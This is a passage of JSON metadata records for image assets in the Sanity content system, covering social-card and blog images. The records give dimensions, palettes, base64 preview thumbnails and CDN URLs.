{"_createdAt":"2023-11-10T09:00:40Z","_id":"image-d89ece4dcfd4bf83e37fa93f774d5cc7ef940660-1200x628-png","_rev":"2Eye2NjagEp5aUWL7qJk9a","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T09:00:40Z","assetId":"d89ece4dcfd4bf83e37fa93f774d5cc7ef940660","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69%xx00-L-m02~S4=xr$~9e00=;WCNN?F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqklEQVQokVWSXVNSCQCG+QXNGIHoOYB8HDiC8SUqHGKTNCVMQCU1HXfKVdcaK3MxYZWO4FEpUAdqctptN/uandmZZrrZu52aftmzo17txXv9fj26lktjyBeHUVoS9J9KP0jImEUU7mCw3MNofUir7TEmxzrtziKC6ymSX6N/aJ/pKY3cLY3I1R2snhJtziK6FsM4jrYsYTFD1JwlZs0Rss/hlJaxyqvYPHls3g2snUUE6VdsXpVkpk5ls8Gb6j7Hz+rk11+gDOwjukroLrZN4vbOE4muEIs9Ih5f48oPBZT+LZRrZWIDu/Re1fCEVczuLbw9O6zlj/nn0298e1Pl3/dH/PXuhLmfXmLr0tAZzbcJRh9w/eYWQ2mV4UyFG9k9bmSrpMZqpMYOSaRqBJTzWv6IRunp73z9fML3P2p8+9Dky98fWVp5jRSoo2u1zNB7ZZVUViWVLTMyrpHOVRnNPWc0d0BmssHIRIP4UA05VEEOVpibf8nr5p98ajY4eXXMXv0tI7km9ss1dEbLbbpjjxhOlxhOqyTTFYZGNQZHdhm8WSWZOSCZPaI/eUBXj0aHd5vu+HMmZ1+w8HOD2cUmA+NHyOFdzPIOukviNF2hZeLX1okPFlASBbqVdfy9efx9RYKKSlApc7mvjNO3TYdnG0/4GZFEg9j1Q4LxKs5ABbNcQjg9RW/K4XLMEAgs4guv4PLdx9W1gC+8hK/3F9yBIhb5CYK0cfay1bONL1InOtCkL3GIP7KL5FexdG7SLm2i0xvHsIsTdLrncHoXEaUF7J67BKNLhJQ87kABQcrTas+fcWaWVST/Hp5w9WxTp690jpSrQPtpwguGcfStExiEKQzmWfTijxis8wjSEmbXCu2OVUz2tf+BLbrLiC6VNucGJse5mcnxBMGt8h+fNYDO1sWQHgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8c5ca","foreground":"#000","population":12.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7580c3","foreground":"#fff","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516191","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb8e2d","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya Rich Social Card 1.png","path":"images/sczeoy4w/production/d89ece4dcfd4bf83e37fa93f774d5cc7ef940660-1200x628.png","sha1hash":"d89ece4dcfd4bf83e37fa93f774d5cc7ef940660","size":303750,"uploadId":"wwdUl2gQa6scj4hIpxOchuWsahIKviVs","url":"https://cdn.sanity.io/images/sczeoy4w/production/d89ece4dcfd4bf83e37fa93f774d5cc7ef940660-1200x628.png"} {"_createdAt":"2023-11-10T09:11:01Z","_id":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_rev":"tCCq0oy69ssaoA8YOJz5Ei","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T09:11:01Z","assetId":"c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M797o9Dg-#t202~pE3%Lt59b8_${s;t9t2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnUlEQVQokS2SWVNSARiG+QXdmEhwkAOH5XDEI8vEQJILyiFQDK0ptR21wSbXFCRZY1FzaXVqmmyZlplmuuqift7TkF19d8/3vvM+OovjNpeSOTJ3m2TutZjL7JGeeoJLXaGzexG9ZYku6xoG2yZGewGTo4Sk1hlKPufO/Ftm7rwmHN3DopQ5Zy+gM4rTXLxwn2upFWbT68ykN0lqG3i8K1jkVUT3BqKSR1QKdMtFLEqFSGKffPGEj69O+HD8iUL5C/3aEYKzhK7TdB3VO0c0ukw8/ghNyxEd3aJ/uEh/tEZkpEl4uIWvv4G9t4IcqHPjwVvenXzl18kxf3585NvP39xc/IzV00R3VpjGE1hkYDRHNLHNSLJCNFFjdKxBfGKPRPqQkbEDApEmolLGfb7O9MIzqo0DXu7u8O7NMc/ff2c2+wmH7xCdvnsGX2iJaKJAbLxEfKJGfKIN2yE5uc/Y1DNiqUP8kQY2Txmpt0ogkiOWzDC3sM5arsnMfINQ7ClW9aANnCVwYRktVSQ5WSORrqOl6sTGm2ipPS5dPkSbOCI0vIvsf4LYU0V053H3ZRnSVhm72n7wGLGnhFlunFZWvPcJD64TGckTHtrCF9pEDeZQgwXUYAk1VMHtr2DtKWNRqsj+HXzhXYIDTYKDLVy+KoKriKk9SofhCnbrNB5PBsW3iE3JIspZFO8Krt41BPsq56R1jPbcP20s7ipqaJ/g4Av8kX3UUBOnt4pZ3sbo2EbXoZ/EJkwhO29h71nAKM3R7ZhH9T9E6VvGJC2jF089bHtmlivY+1o4va3TxO7HmF1bGB1bGJ1FdGc6p+joukJbn07zDTqE2+jN9xBs8whSFoP1v9jSKdDkLCO4av+uQcrTZdugy/YIg5TD5KrwFzR0fzMSbt2EAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344473","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a6e","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bec3d4","foreground":"#000","population":11.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bec3d4","foreground":"#000","population":11.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7980c3","foreground":"#fff","population":0.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7397","foreground":"#fff","population":3.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b13919","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Andreas Social Card 1.png","path":"images/sczeoy4w/production/c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628.png","sha1hash":"c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2","size":316079,"uploadId":"FbYjFDOvZ06YmV9q4n1CZlEmnfUD7PyC","url":"https://cdn.sanity.io/images/sczeoy4w/production/c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628.png"} {"_createdAt":"2023-11-10T09:11:57Z","_id":"image-0f63cfa1c4dda213728e82773ae3ae5ef02b8c35-1200x628-png","_rev":"tCCq0oy69ssaoA8YOJzFHA","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T09:11:57Z","assetId":"0f63cfa1c4dda213728e82773ae3ae5ef02b8c35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M79H9w4T?9%K01~pN1xtt3D+00^*RkRp%K","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnUlEQVQokUXSW1MSARTA8f0ENWXcYheW5bLLRVaCzDQV0fBSlmKNaFc0Gk2RvIcJpoCmJWl3tXrqxZnqoZ6qD/dvcJp6Og9n5j9n5vwEu/s2XT0LjNwtM5JaZ3Rkk77EGmowi8E2jtGeweSYxuyc57Qrh9VTwK2XaYlv05/cpnfgGWdb1rH7ClhcOYTTcpLmpvtc780y1DfDUN88PfE5AnVZ7NpDZO8csm8R2beEpC3j8D+h4/IO2dl3LOa2yD2uMJ7d43xsC9GTRzBYB9FD92hrm6K9fZqOi3PEOnJciOVpjK3S1F6msX2DSMs6nrpVAvVl0hP7VF7sUyqVePnqNe/3vzCcOsARKCOcEpPURh7Q0rFANL5ErLtAvLdI55UNuq5u0d1fobt/h9au53jDRYIN62RmPvDm7Ud2d3c4PDzk67ff3M98xl23jWCQhtDrJ4jGH9Eaz9EaX6at6wnRzjWinWVi3ZvEep7R0PYUV3AFt77GwPAr1kp77O194vuPX+x//MnVwQOU4HOEGusgnto0oYYM/jMTeIITqHoWVZ9GCy3gCy/hC+dx68tI6mMkbYVQ4waJZIXZxQMKxUOGUx8I1G8gaUWE48ZrGMUkFvkmJvstTkl3MNhGMTvGsCiTWJQsFucMFtf80RerQS38lHPRCrFLuzTHt/FFSti8BUS1gHDCkEC0JHA4hrG5U5jlFFYljRrM4PJnj4LGv2yqQZu2gjeySaipQl3jFr5IEVdtAdmfR9LyCCeN/ShiAk29hcufxuocxeZOo4cn8etTWJ1T/xxWg9UrZH8JJVBC9hWweZeQ1EeIanWXRzhmSFBjGqDKxyDdoEa8jUG6i6jcQ1TGMMv/YVeDVdiiuno0zc5FTMocJmUWs3MBq7rCH5FyfYi1rTOOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363874","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196d","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1beca","foreground":"#000","population":12.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1beca","foreground":"#000","population":12.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c3","foreground":"#fff","population":0.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6d8f","foreground":"#fff","population":4.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":6.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Wanis Social Card 2.png","path":"images/sczeoy4w/production/0f63cfa1c4dda213728e82773ae3ae5ef02b8c35-1200x628.png","sha1hash":"0f63cfa1c4dda213728e82773ae3ae5ef02b8c35","size":226271,"uploadId":"L1cd1JuDRXmvMjZQ6dGqZOXUIRGWT48f","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f63cfa1c4dda213728e82773ae3ae5ef02b8c35-1200x628.png"} {"_createdAt":"2023-11-15T08:06:36Z","_id":"image-44b0ef87b93f30cc0002daa7f27078e3840b3cf8-300x300-png","_rev":"1h3WMBnk967znzaf4bMCPR","_type":"sanity.imageAsset","_updatedAt":"2023-11-15T08:06:36Z","assetId":"44b0ef87b93f30cc0002daa7f27078e3840b3cf8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHGv3DR40oo~l:.9bcE1jE#k00ozqtad*09aaJ={kXNe4;bv?He-o}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAFd0lEQVQ4jU2Ua0zTZxTGD3hLzEy27BIzl8y4ZMkuidnitixzH+aSZR920U2BXjDA1EkYMnSoyEAElEsvItRC6e19a2mxLZRCi4o4QBBlU7wgog5RQRHePw5RUSb0nKVFMz8878dfnuec57zABAGTEMy3J6FwisAgCA5cGoR+IiAi2Jkgm2XcljTfsiP5BVVywhwAgGXLPwTXpZtguDkBZ4igikIMAiYQgIeBBOYxAotA8Jr1UHyiBzLXromsKcpY2Mk0K3qryxKv1Bo2XXDrv21lmsVWdc6c5ruPAIigvO8fsI3OMLhEEH7CUIHQRQSNRBGGS3cW2J2OD9r5vtSbDZbAWLvr6vhJT79orWrtDfDcQF31F8auvtcckzQriQgsQ//OcJ4BQ7A6InD03orkY7TI3DMYVe2rtXRXG3vH212Pps75aep8gCbP1D0ZanENNDf662wX+jdZJXq3auTfuS2hyAKfAsUM2To4EWETwTeYRIns4kBLwFcz1u8zByf/rKGpCw0Y0vT5AN1rd+OpRt8jx/m+i9bh6T22UVrKhibnzACfzjDsciT4IpdIaR0JHred63t81G2na2493j7CcbjZgfdOuPFu20G83WDFzjonObsuT1vvTF3ho5TJRoKL/3cYjhyM5AKXcYkqrYMT9yvb/6IWezn22LR4mmuw21lCA34z9rj19BdTY6ujAp0dXWi59fgJl6idC1zNBM5nz81wARf4E5PoIu//Bw8GGrDFqMarLh311xnxVr0JR49wuhmw4OXqMupwlmNVUzNabowTk0hwgUVM4JvPL2URF1jAJJL4jXtkr/djfeke6q814Hi7C6VDjO74jDTaZKe7LU7s8lrI2XgMLdfHiUs0yQXWMoGfhDr9DPg2F2jmEj1kQ5Nk+KMDrcVF2GlVY6+njE6V7cHj6iw6Y1bRVa+BjtcwtLX9iZZbj4iPUpAJbGcCv2aCIp715x0mkHOJJtjINJV0dGNBUSFaMlPRnbcV3Zmb0ZOegp6dW8irziJnJUfz2T60Dk8jlwiZwFNcom/CwNB2mMAlTKCeSzRuvfOE9h7rwB070vD3BBmqkuKpfPNGMm1JJH3qBtRs+5WKK11o/HsUmUTEBE4xgceYwBVMYATw0NkIfJUJTGcjwUHj5SEqrrLh7q3xmJGwCjPiojFnvRJ3/7wWc9YpaedvKaiuPUzmgYmQO2ICHz5N9354yx4isI3RPMvgxPem7mttZfU1UzpNGpZnRmNp2o+Yu3E15m5QYFFSPGqTE1CdnkxapxMrrgyHohITeI0J3MIEvhIudtFygEtEYDh5ekmF05BvLk4dZLkKPLArCu05UWjMiEFTxnqsV+3AZl022nenoEaVgbqGAJl6bty3DDw4yEamP+OjNLuVCKBs+0pIjfoUSkoy5/H8uM/dBTLmLZQNu/Njgs68aOLZ0XQgNx7bzLvwrFOLrsJk0mcpyVSS9sDkMjVVtHXILAMPXkppGwbdoUMAtsyV0GpPgygA8OWvfsGvUXwZ0Cr0dWp5jyc/5j7PXjNtzY4h795fyKfbjjxv3ePK3OhBT6HC61CvUxpL0xeqjp+NoLcA9vEyAKtqI3j2rgNGBCHL/r2x8/0a+dKAVpHoU8mtB/dEtzpyo8/b85Tdhuz4zoosRY2nQJbVoJWvCBSserlRMSfiJBHU+vRgDUXWbfsB7DlRUJkbBQUp30GnKQ7q1PLIgFbxUkAjf8+nkn/lLZJFO/Ji5KXb13y3P33Nx54C2euHdQlzKfR9E4Hrwjnw3bgOPAT0axUQ0MzIr5GHdaw0Fhr3KYFOb4amUmVEU2nsbL9aPtuetTLyt9UfwQlDHDTrYsFbJANPQQwcLVFCy/5YMGVFwX9O0Ahw4OzivgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3a46","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2920","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#976f56","foreground":"#fff","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b9a8","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b47c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#976f56","foreground":"#fff","population":0.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b69451","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"doit.png","path":"images/sczeoy4w/production/44b0ef87b93f30cc0002daa7f27078e3840b3cf8-300x300.png","sha1hash":"44b0ef87b93f30cc0002daa7f27078e3840b3cf8","size":34891,"uploadId":"y9Cis24K3mgBKjJo1d3yGVGSxHbb7EDN","url":"https://cdn.sanity.io/images/sczeoy4w/production/44b0ef87b93f30cc0002daa7f27078e3840b3cf8-300x300.png"} {"_createdAt":"2023-11-15T09:40:42Z","_id":"image-6347872eaf380639218dbcce5e4d7170a0244eb1-512x512-png","_rev":"6DRE6Zb4jyu9iXgb2LBgE3","_type":"sanity.imageAsset","_updatedAt":"2023-11-15T09:40:42Z","assetId":"6347872eaf380639218dbcce5e4d7170a0244eb1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHGv3DR40oo~hf.9bcE1jE#k00o#qtad*09aaJ={kXNe4;bv?Hado}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFeElEQVQ4jU2Ua0yTZxTHD6LuEuecW+aHbTEuW7LNzGTLlixx2Qe3xC1LzLxgoa3i8IJGw0XEoFRUQLm15VqgtLTvU0pLW6BQW7wMBpWbqCgOUHQqAoLwvh1eUEEp5yxvuy17kn+eJ+fDL+d/znkOcAIBEwjyLt8GyY1Z0I7Ngrl/GIgIxJO5J3I+lxzzBjsSuzg3budCMRZ5IB5s14dAO/QMLhCBDUUGgsgCxmNAdmEO9KMvoPtIFGg6+iEzdvf8elXK+5dM6p8GakvjbtWXJfRWl/ziZbkruPzMhR0PnwEQgfb2JFT8FQSKiUHFfRFIwPFz4CYCF1GItm9kicVa+U1nRcHhkTNc46N2x+CTzpohwVvVesPDTrjdzu91PYPLLDMUGkcEhrGXAZgIDaTJ8Qj1RGC54wtlk7Tc0DsU6axzWvpr9ben2h0zs9c8JGqm2/VytNk+0vRbg9vUey/OKNDKqvGZhS1EQadBywTGcT8YR57PM/G4ghMonvvjXkdDnePJPZcBZy46RRiK8ve4abLVgR3nXNOVvXf7jBNzJ00+WsWNvVjwn2WOJ2A+Am5i7m0m0A7juL/LdOXmiya7ie5WF+P9Mxw++L0SH7Y5UPBW4bC7HDtdVrL23PIbx/03mUAKbmJu+f+aEqhfKONxNROo2jj89KnF20nnK4qxv0KNl5mK+qoKcditxz67hi4aldhs0aHlQg8aR2deMoFaGY8bGI+vBS0Ha7iE8biXE+gWu+Mju8uFXl0O/unQ0OApPY55ytF3ltGwx4A3a0qozVKK1iYvGoemiAk0wXjM4Hj8IGhZTJXH5YzHPE6gSTY4SeZ6F7oLT9JgfRk+brPjRIOBxurKyNdoJl+zBS/VlpOlsSUI9NE047GG8fiV6DZYQx5XMh7NTKDn3Og0aRvb0JiXhV1GJfbbNNRelIYtOQq6pM+mgdpSaq5hyNq7RcvEBPJzPDYzHn9gPIX8Mz/0OcejlQk0zY37qaC1BzMzTmK5Ig5tqQfQrohHx6FYcqTsp1plClVazVh+bRCNE3P/As8zntYGgOIMMh4/5njUMYGmjGMzpD7rxcNJ8aiICqecvb9SSXw06RL2kCZuFyqT4jHP5kT9nUnkBCKOx5ccj6cZT9+KsxgcGR6XcTymcOP+Md31Ycoz6/FE4lZURK3H5G0STN0pxxPRW+n4DjkdPRiPqlONZLj/HFkQ+JgJpGM8fiImBw4iMD2kVw3DUxv0PQMdJXW22aKceNQekWBh4kZM2x2G6dFyVO6LoryY7ahKjqVcmw3Lbk0gx6OoAY7HfUygtwJdzv4QQPw62rbOj8rMRVkGdcx9libFitTNaE7djLrkcDQodmGDWoEtmuNoPhGDKmUyahrcpO8bnDQMPWHchP9rk49C3xNXUWniz5Cw7jMoykt6xZQR+V11ZgTnzI544MgIn7OmS4gdk5A5PQrbDKnYbVFRVeZeKkmRU3lB4iO9Tecua21fbxh5tvi4j6DY2wFQkboZmk0JwADAlb15kVstW+NRyzQupbTPkRH+mB0LmzUeCydn7j5yFhyc49KinlnSJHers6RWS872TfrCpHfyrgzC6FqAYocJQJu7H+z5eyCfKLBx3Ootr7tV0lUetSy6Pkeqs5+UNFnSJd3mdPnV0qPbWnUpUmtNVsTB07my1Q2ZG97skgNc7TKDw1kMBVMEoE3eCNZ0SUD5ieuhrTQSXErpPI9atsSjln3qUkrX1GVHbLCkh28qSAr7UXMo7IuazIh3TxdtXyDu9KVEYG5rBuZthJxpAnCrZeBWyYJ34C2FxgI5nMuXQ68pCpo1W0JairfO86ikoWbFupAvly4SY9Bt3A71OVJwZkdAQ64soMo0CfwNA9wBnsRn0uIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3945","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593e22","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9aeafa","foreground":"#000","population":3.95,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adc9cd","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9aeafa","foreground":"#000","population":3.95,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#967056","foreground":"#fff","population":0.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b58a52","foreground":"#fff","population":1.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image 1.png","path":"images/sczeoy4w/production/6347872eaf380639218dbcce5e4d7170a0244eb1-512x512.png","sha1hash":"6347872eaf380639218dbcce5e4d7170a0244eb1","size":92015,"uploadId":"w9br1JyfvneGj576IgXqunz1IXdHjz9A","url":"https://cdn.sanity.io/images/sczeoy4w/production/6347872eaf380639218dbcce5e4d7170a0244eb1-512x512.png"} {"_createdAt":"2023-11-27T14:27:19Z","_id":"image-0ab52196d5a7ef557987b2060934cec470b4d745-1200x628-png","_rev":"BjY9n6joNYFLmv1rs4HYdf","_type":"sanity.imageAsset","_updatedAt":"2023-11-27T14:27:19Z","assetId":"0ab52196d5a7ef557987b2060934cec470b4d745","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB5klEQVQokR3Q3U9ScRzH8UOy0hXdmNPGlvkEFHBEQjh6eHCola67nOLTuIhqtWg5bRmD8Jwd5CAiIkh4Vav/8/euH9v39r3XZ19FbA6KnJu8h8MA30IcqxwHKPgpBSn5KXopTvNjElvlZpVfr7heoOGjGaD9TBGZuyLvo6hTTmIuYaUw4xgxLI2qzmkMK0w1zNUSfzb5u0ErQnWc2gT1GUVsu8SBipHmJImRpJKWvaFR0TlbopagtkgzRW+N36+5SXM6gTlK5SHmiCJ27ovDEOYyJynKOkYcY4GTqIyrOlWNepxWmutVOkkuQthT2JNStsb68VGYykvsdSormAlMHSuOncJOSPkiTfs5P9foxLmc4zJEa45mkLNpRWRcUrZeYK1SXqQQohSRsy2NU416kkaSiwTXy/TSdGJcztLqX92riMw9DoIYK5R08o95N8yHB3wa5csYhXFMH6YHYwr7KVdR2vM0nnDulXIzKGP57e8aRyq5Yfac7N8iO8Db23wdwZqWZzyiMkVzlnaEcx91L1dzdGOK2BoSObf4OCHeu0XWxe4A+w6yDnJOGdf8NFSqM9heWmE60b6p0o3R0xWxMSC2BtkeYucOO052HewpZBXeOPjswvJwrkrW9sjNXU3inXl6i//jf8amTZUuTrekAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935505","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac47e","foreground":"#000","population":0.81,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b8955b","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"OPT. blog BYOC.png","path":"images/sczeoy4w/production/0ab52196d5a7ef557987b2060934cec470b4d745-1200x628.png","sha1hash":"0ab52196d5a7ef557987b2060934cec470b4d745","size":82184,"uploadId":"yVN0JWnpWAKV5QJmTX3qT2iaCfYrd7yd","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ab52196d5a7ef557987b2060934cec470b4d745-1200x628.png"} {"_createdAt":"2023-11-27T14:27:34Z","_id":"image-aadcfacfa41d6e4f9079c33d99755fa369a31ea1-608x869-png","_rev":"Arp4NzaYseKQ5hw9dmAEOA","_type":"sanity.imageAsset","_updatedAt":"2023-11-27T14:27:34Z","assetId":"aadcfacfa41d6e4f9079c33d99755fa369a31ea1","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6996547756041427,"height":869,"width":608},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAdCAIAAAAl5NuSAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD1ElEQVQ4jXWVS3PcNgzH9/t/jN567KUzvfTSQzv1bmw3TuLsZl/SSiuJlPgAQYIPyR1K67pNUsxPGGrEvzACAWj16fm8+1Jst6fd7vxKsd+XRXGtKvZd6pqdTtf7++2qrruqboriUhRVWVZlWV8udV03QihryVpyzn8DCQH7Q7USQiNanA3QaNQaNVhwwYUYUkrTNI3Tv+1lmiZrfXnpVkpj8CGEQJ4MGeWU9lqTVlZp1IhIjkIIKY1pvsZxnMZxFrMsduTRWm2M1FqAAofaGgFKaKU0aDCWfEhjiCnEFGOKacRFLBQKF5hxjTStQm5IUBQUBxcyNntJSYVpZlR+1GFU6IsLWzGJJfhnBk8X/uHSbxkchDtKOkh3vEFfUUJogM4VWzFlCk1PjVwf2vX+ujm29wV/KPh9wR4y/KFg9yV/vPR/VcP7Sjxd5RdhK+1u4groY6s2xyy+29d32WfW+2Z9aNb76/rQPJT8fS2frupjCwft638iX4A+tGp9bO8Obd59aDfHdnPqFt6duseyf2rUp858YvjM7RHC1fgs5spcTdhy977STzV8ZmbLcdcv2F2PX3p7EHTS4QzxDOkM6WJTu4h7aQakq6ZysJVwDVA70xnqjO+AOvCd8Qw9t3GgJGiUPokl2/2ghdRcyI4PHResF/NiYL3gveS9GIQSUgsFGtBYh5ac9wYpn3M/KCFU3w+c95wPnA+MccZ73g89H4ZeaAVz/TprnXPkHHkfEN1cJAIAjJT5FVJqIdQgJAAu+xAJrXcuLhAlOy+MmSNLaYxBpbSUavFSaudonI0oGRvRRsSMdQlMzACVFVsphYhWa1BKKwVag7Xu1kzjRP6/YhvBhDexVGYRS5n7QGvjfciN9/IyTlm8KE0WJ2vfIl8qthISEJ0xCGAA0Fo3N2C2mJIPiXwkuuF9JB99SIhzVw1CA+Br5JzYJVXWunmM5GEyrxeIyKeUbv0sRBYYg1obrXPyjMm3iDafDd1eNBsRee/Dm3gY9JKt19O6YQwu+5fgRD7GPEbGeSZZN4t5r/peMD4Mg5BKKw0zBkz+AOsc5qpy1vmsnV5m3sS6lzConCwXAsVIMVFMbvZ+9jOjT2MYpwVj59oehDHOuxB9fHsWxsnPhP8BrD/nClNIIcVxWvhqk0+TjzPzgsKoTWK9bzo8nZfRG9OchZevSOPkaAQTDSbApCFKFZ538Muv7W+/t8+fm1XHJJicj2//DNZ6IV3HLOtdx23bYd3gHxv2w4/Hn34+3z+Wq+3uUpZdVfPvUPGiZKcTO53Z8dV/eG7+3Fw274q79e5vxX9jik4sKmUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4e50","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c88","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6bfcc","foreground":"#000","population":3.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bfcc","foreground":"#000","population":3.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94a0ef","f